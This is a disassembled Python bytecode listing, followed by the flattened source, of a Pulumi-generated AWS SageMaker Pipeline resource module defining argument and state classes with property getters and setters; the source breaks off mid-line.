LOAD_NAME str LOAD_CONST ('resource_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab801079c0, file "f.py", line 469> LOAD_CONST 'Pipeline.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None, None, None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'parallelism_configuration', 'pipeline_definition', 'pipeline_definition_s3_location', 'pipeline_description', 'pipeline_display_name', 'pipeline_name', 'role_arn', 'tags') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _internal_init at 0x7fab80107ae0, file "f.py", line 478> LOAD_CONST 'Pipeline._internal_init' MAKE_FUNCTION STORE_NAME _internal_init LOAD_NAME staticmethod LOAD_CONST (None, None, None, None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 'Pipeline' LOAD_CONST ('resource_name', 'id', 'opts', 'arn', 'parallelism_configuration', 'pipeline_definition', 'pipeline_definition_s3_location', 'pipeline_description', 'pipeline_display_name', 'pipeline_name', 'role_arn', 'tags', 'tags_all', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7fab80107b70, file "f.py", line 532> LOAD_CONST 'Pipeline.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arn at 0x7fab80107c00, file "f.py", line 588> LOAD_CONST 'Pipeline.arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME arn LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'parallelismConfiguration' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_CONST 'outputs.PipelineParallelismConfiguration' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parallelism_configuration at 0x7fab80107c90, file "f.py", line 596> LOAD_CONST 'Pipeline.parallelism_configuration' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME parallelism_configuration LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDefinition' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition at 0x7fab80107d20, file "f.py", line 606> LOAD_CONST 'Pipeline.pipeline_definition' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDefinitionS3Location' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_CONST 'outputs.PipelinePipelineDefinitionS3Location' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition_s3_location at 0x7fab80107db0, file "f.py", line 614> LOAD_CONST 'Pipeline.pipeline_definition_s3_location' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition_s3_location LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDescription' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_description at 0x7fab80107e40, file "f.py", line 624> LOAD_CONST 'Pipeline.pipeline_description' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_description LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDisplayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_display_name at 0x7fab80107ed0, file "f.py", line 632> LOAD_CONST 'Pipeline.pipeline_display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_name at 0x7fab80107f60, file "f.py", line 640> LOAD_CONST 'Pipeline.pipeline_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'roleArn' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object role_arn at 0x7fab8225c030, file "f.py", line 648> LOAD_CONST 'Pipeline.role_arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME role_arn LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab8225c0c0, file "f.py", line 656> LOAD_CONST 'Pipeline.tags' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'tagsAll' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags_all at 0x7fab8225c150, file "f.py", line 664> LOAD_CONST 'Pipeline.tags_all' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags_all LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _utilities LOAD_ATTR get_resource_args_opts LOAD_GLOBAL PipelineArgs LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST resource_args STORE_FAST opts LOAD_FAST resource_args LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name LOAD_FAST opts BUILD_TUPLE LOAD_FAST resource_args LOAD_ATTR __dict__ CALL_FUNCTION POP_TOP JUMP_FORWARD to 72 LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_GLOBAL _utilities LOAD_METHOD get_resource_opts_defaults CALL_METHOD LOAD_FAST opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL isinstance LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Expected resource options to be a ResourceOptions instance' CALL_FUNCTION RAISE_VARARGS LOAD_FAST opts LOAD_ATTR id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST __props__ LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST '__props__ is only valid when passed in combination with a valid opts.id to get an existing resource' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL PipelineArgs LOAD_METHOD __new__ LOAD_GLOBAL PipelineArgs CALL_METHOD STORE_FAST __props__ LOAD_FAST parallelism_configuration LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'parallelism_configuration' STORE_SUBSCR LOAD_FAST pipeline_definition LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_definition' STORE_SUBSCR LOAD_FAST pipeline_definition_s3_location LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_definition_s3_location' STORE_SUBSCR LOAD_FAST pipeline_description LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_description' STORE_SUBSCR LOAD_FAST pipeline_display_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'pipeline_display_name'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST pipeline_display_name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_display_name' STORE_SUBSCR LOAD_FAST pipeline_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'pipeline_name'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST pipeline_name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_name' STORE_SUBSCR LOAD_FAST role_arn LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'role_arn' STORE_SUBSCR LOAD_FAST tags LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'arn' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags_all' STORE_SUBSCR LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_CONST 'tagsAll' BUILD_LIST LOAD_CONST ('additional_secret_outputs',) CALL_FUNCTION STORE_FAST secret_opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_FAST secret_opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL super LOAD_GLOBAL Pipeline LOAD_FAST __self__ CALL_FUNCTION LOAD_METHOD __init__ LOAD_CONST 'aws:sagemaker/pipeline:Pipeline' LOAD_FAST resource_name LOAD_FAST __props__ LOAD_FAST opts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_FAST id LOAD_CONST ('id',) CALL_FUNCTION CALL_METHOD STORE_FAST opts LOAD_GLOBAL _PipelineState LOAD_METHOD __new__ LOAD_GLOBAL _PipelineState CALL_METHOD STORE_FAST __props__ LOAD_FAST arn LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'arn' STORE_SUBSCR LOAD_FAST parallelism_configuration LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'parallelism_configuration' STORE_SUBSCR LOAD_FAST pipeline_definition LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_definition' STORE_SUBSCR LOAD_FAST pipeline_definition_s3_location LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_definition_s3_location' STORE_SUBSCR LOAD_FAST pipeline_description LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_description' STORE_SUBSCR LOAD_FAST pipeline_display_name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_display_name' STORE_SUBSCR LOAD_FAST pipeline_name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'pipeline_name' STORE_SUBSCR LOAD_FAST role_arn LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'role_arn' STORE_SUBSCR LOAD_FAST tags LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags' STORE_SUBSCR LOAD_FAST tags_all LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags_all' STORE_SUBSCR LOAD_GLOBAL Pipeline LOAD_FAST resource_name LOAD_FAST opts LOAD_FAST __props__ LOAD_CONST ('opts', '__props__') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'parallelism_configuration' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_definition' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_definition_s3_location' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_description' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'role_arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags' CALL_METHOD RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Please use `tags` instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_ATTR log LOAD_METHOD warn LOAD_CONST 'tags_all is deprecated: Please use `tags` instead.' CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags_all' CALL_METHOD RETURN_VALUE
import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ["PipelineArgs", "Pipeline"] @pulumi.input_type class PipelineArgs: def __init__( __self__, *, pipeline_display_name: pulumi.Input[str], pipeline_name: pulumi.Input[str], parallelism_configuration: Optional[ pulumi.Input["PipelineParallelismConfigurationArgs"] ] = None, pipeline_definition: Optional[pulumi.Input[str]] = None, pipeline_definition_s3_location: Optional[ pulumi.Input["PipelinePipelineDefinitionS3LocationArgs"] ] = None, pipeline_description: Optional[pulumi.Input[str]] = None, role_arn: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None ): """ The set of arguments for constructing a Pipeline resource. :param pulumi.Input[str] pipeline_display_name: The display name of the pipeline. :param pulumi.Input[str] pipeline_name: The name of the pipeline. :param pulumi.Input['PipelineParallelismConfigurationArgs'] parallelism_configuration: This is the configuration that controls the parallelism of the pipeline. If specified, it applies to all runs of this pipeline by default. see Parallelism Configuration details below. :param pulumi.Input[str] pipeline_definition: The [JSON pipeline definition](https://aws-sagemaker-mlops.github.io/sagemaker-model-building-pipeline-definition-JSON-schema/) of the pipeline. :param pulumi.Input['PipelinePipelineDefinitionS3LocationArgs'] pipeline_definition_s3_location: The location of the pipeline definition stored in Amazon S3. If specified, SageMaker will retrieve the pipeline definition from this location. see Pipeline Definition S3 Location details below. :param pulumi.Input[str] pipeline_description: A description of the pipeline. :param pulumi.Input[str] role_arn: The name of the Pipeline (must be unique). :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A map of tags to assign to the resource. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ pulumi.set(__self__, "pipeline_display_name", pipeline_display_name) pulumi.set(__self__, "pipeline_name", pipeline_name) if parallelism_configuration is not None: pulumi.set(__self__, "parallelism_configuration", parallelism_configuration) if pipeline_definition is not None: pulumi.set(__self__, "pipeline_definition", pipeline_definition) if pipeline_definition_s3_location is not None: pulumi.set( __self__, "pipeline_definition_s3_location", pipeline_definition_s3_location, ) if pipeline_description is not None: pulumi.set(__self__, "pipeline_description", pipeline_description) if role_arn is not None: pulumi.set(__self__, "role_arn", role_arn) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter(name="pipelineDisplayName") def pipeline_display_name(self) -> pulumi.Input[str]: """ The display name of the pipeline. """ return pulumi.get(self, "pipeline_display_name") @pipeline_display_name.setter def pipeline_display_name(self, value: pulumi.Input[str]): pulumi.set(self, "pipeline_display_name", value) @property @pulumi.getter(name="pipelineName") def pipeline_name(self) -> pulumi.Input[str]: """ The name of the pipeline. """ return pulumi.get(self, "pipeline_name") @pipeline_name.setter def pipeline_name(self, value: pulumi.Input[str]): pulumi.set(self, "pipeline_name", value) @property @pulumi.getter(name="parallelismConfiguration") def parallelism_configuration( self, ) -> Optional[pulumi.Input["PipelineParallelismConfigurationArgs"]]: """ This is the configuration that controls the parallelism of the pipeline. If specified, it applies to all runs of this pipeline by default. see Parallelism Configuration details below. """ return pulumi.get(self, "parallelism_configuration") @parallelism_configuration.setter def parallelism_configuration( self, value: Optional[pulumi.Input["PipelineParallelismConfigurationArgs"]] ): pulumi.set(self, "parallelism_configuration", value) @property @pulumi.getter(name="pipelineDefinition") def pipeline_definition(self) -> Optional[pulumi.Input[str]]: """ The [JSON pipeline definition](https://aws-sagemaker-mlops.github.io/sagemaker-model-building-pipeline-definition-JSON-schema/) of the pipeline. """ return pulumi.get(self, "pipeline_definition") @pipeline_definition.setter def pipeline_definition(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pipeline_definition", value) @property @pulumi.getter(name="pipelineDefinitionS3Location") def pipeline_definition_s3_location( self, ) -> Optional[pulumi.Input["PipelinePipelineDefinitionS3LocationArgs"]]: """ The location of the pipeline definition stored in Amazon S3. If specified, SageMaker will retrieve the pipeline definition from this location. see Pipeline Definition S3 Location details below. """ return pulumi.get(self, "pipeline_definition_s3_location") @pipeline_definition_s3_location.setter def pipeline_definition_s3_location( self, value: Optional[pulumi.Input["PipelinePipelineDefinitionS3LocationArgs"]] ): pulumi.set(self, "pipeline_definition_s3_location", value) @property @pulumi.getter(name="pipelineDescription") def pipeline_description(self) -> Optional[pulumi.Input[str]]: """ A description of the pipeline. """ return pulumi.get(self, "pipeline_description") @pipeline_description.setter def pipeline_description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pipeline_description", value) @property @pulumi.getter(name="roleArn") def role_arn(self) -> Optional[pulumi.Input[str]]: """ The name of the Pipeline (must be unique). """ return pulumi.get(self, "role_arn") @role_arn.setter def role_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "role_arn", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A map of tags to assign to the resource. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @pulumi.input_type class _PipelineState: def __init__( __self__, *, arn: Optional[pulumi.Input[str]] = None, parallelism_configuration: Optional[ pulumi.Input["PipelineParallelismConfigurationArgs"] ] = None, pipeline_definition: Optional[pulumi.Input[str]] = None, pipeline_definition_s3_location: Optional[ pulumi.Input["PipelinePipelineDefinitionS3LocationArgs"] ] = None, pipeline_description: Optional[pulumi.Input[str]] = None, pipeline_display_name: Optional[pulumi.Input[str]] = None, pipeline_name: Optional[pulumi.Input[str]] = None, role_arn: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None ): """ Input properties used for looking up and filtering Pipeline resources. :param pulumi.Input[str] arn: The Amazon Resource Name (ARN) assigned by AWS to this Pipeline. :param pulumi.Input['PipelineParallelismConfigurationArgs'] parallelism_configuration: This is the configuration that controls the parallelism of the pipeline. If specified, it applies to all runs of this pipeline by default. see Parallelism Configuration details below. :param pulumi.Input[str] pipeline_definition: The [JSON pipeline definition](https://aws-sagemaker-mlops.github.io/sagemaker-model-building-pipeline-definition-JSON-schema/) of the pipeline. :param pulumi.Input['PipelinePipelineDefinitionS3LocationArgs'] pipeline_definition_s3_location: The location of the pipeline definition stored in Amazon S3. If specified, SageMaker will retrieve the pipeline definition from this location. see Pipeline Definition S3 Location details below. :param pulumi.Input[str] pipeline_description: A description of the pipeline. :param pulumi.Input[str] pipeline_display_name: The display name of the pipeline. :param pulumi.Input[str] pipeline_name: The name of the pipeline. :param pulumi.Input[str] role_arn: The name of the Pipeline (must be unique). :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A map of tags to assign to the resource. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. """ if arn is not None: pulumi.set(__self__, "arn", arn) if parallelism_configuration is not None: pulumi.set(__self__, "parallelism_configuration", parallelism_configuration) if pipeline_definition is not None: pulumi.set(__self__, "pipeline_definition", pipeline_definition) if pipeline_definition_s3_location is not None: pulumi.set( __self__, "pipeline_definition_s3_location", pipeline_definition_s3_location, ) if pipeline_description is not None: pulumi.set(__self__, "pipeline_description", pipeline_description) if pipeline_display_name is not None: pulumi.set(__self__, "pipeline_display_name", pipeline_display_name) if pipeline_name is not None: pulumi.set(__self__, "pipeline_name", pipeline_name) if role_arn is not None: pulumi.set(__self__, "role_arn", role_arn) if tags is not None: pulumi.set(__self__, "tags", tags) if tags_all is not None: warnings.warn("""Please use `tags` instead.""", DeprecationWarning) pulumi.log.warn("""tags_all is deprecated: Please use `tags` instead.""") if tags_all is not None: pulumi.set(__self__, "tags_all", tags_all) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ The Amazon Resource Name (ARN) assigned by AWS to this Pipeline. """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter(name="parallelismConfiguration") def parallelism_configuration( self, ) -> Optional[pulumi.Input["PipelineParallelismConfigurationArgs"]]: """ This is the configuration that controls the parallelism of the pipeline. If specified, it applies to all runs of this pipeline by default. see Parallelism Configuration details below. """ return pulumi.get(self, "parallelism_configuration") @parallelism_configuration.setter def parallelism_configuration( self, value: Optional[pulumi.Input["PipelineParallelismConfigurationArgs"]] ): pulumi.set(self, "parallelism_configuration", value) @property @pulumi.getter(name="pipelineDefinition") def pipeline_definition(self) -> Optional[pulumi.Input[str]]: """ The [JSON pipeline definition](https://aws-sagemaker-mlops.github.io/sagemaker-model-building-pipeline-definition-JSON-schema/) of the pipeline. """ return pulumi.get(self, "pipeline_definition") @pipeline_definition.setter def pipeline_definition(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pipeline_definition", value) @property @pulumi.getter(name="pipelineDefinitionS3Location") def pipeline_definition_s3_location( self, ) -> Optional[pulumi.Input["PipelinePipelineDefinitionS3LocationArgs"]]: """ The location of the pipeline definition stored in Amazon S3. If specified, SageMaker will retrieve the pipeline definition from this location. see Pipeline Definition S3 Location details below. """ return pulumi.get(self, "pipeline_definition_s3_location") @pipeline_definition_s3_location.setter def pipeline_definition_s3_location( self, value: Optional[pulumi.Input["PipelinePipelineDefinitionS3LocationArgs"]] ): pulumi.set(self, "pipeline_definition_s3_location", value) @property @pulumi.getter(name="pipelineDescription") def pipeline_description(self) -> Optional[pulumi.Input[str]]: """ A description of the pipeline. """ return pulumi.get(self, "pipeline_description") @pipeline_description.setter def pipeline_description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pipeline_description", value) @property @pulumi.getter(name="pipelineDisplayName") def pipeline_display_name(self) -> Optional[pulumi.Input[str]]: """ The display name of the pipeline. """ return pulumi.get(self, "pipeline_display_name") @pipeline_display_name.setter def pipeline_display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pipeline_display_name", value) @property @pulumi.getter(name="pipelineName") def pipeline_name(self) -> Optional[pulumi.Input[str]]: """ The name of the pipeline. """ return pulumi.get(self, "pipeline_name") @pipeline_name.setter def pipeline_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pipeline_name", value) @property @pulumi.getter(name="roleArn") def role_arn(self) -> Optional[pulumi.Input[str]]: """ The name of the Pipeline (must be unique). """ return pulumi.get(self, "role_arn") @role_arn.setter def role_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "role_arn", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A map of tags to assign to the resource. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter(name="tagsAll") def tags_all(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. """ warnings.warn("""Please use `tags` instead.""", DeprecationWarning) pulumi.log.warn("""tags_all is deprecated: Please use `tags` instead.""") return pulumi.get(self, "tags_all") @tags_all.setter def tags_all(self, value: Optional[pulumi.Input[Mapping[str, 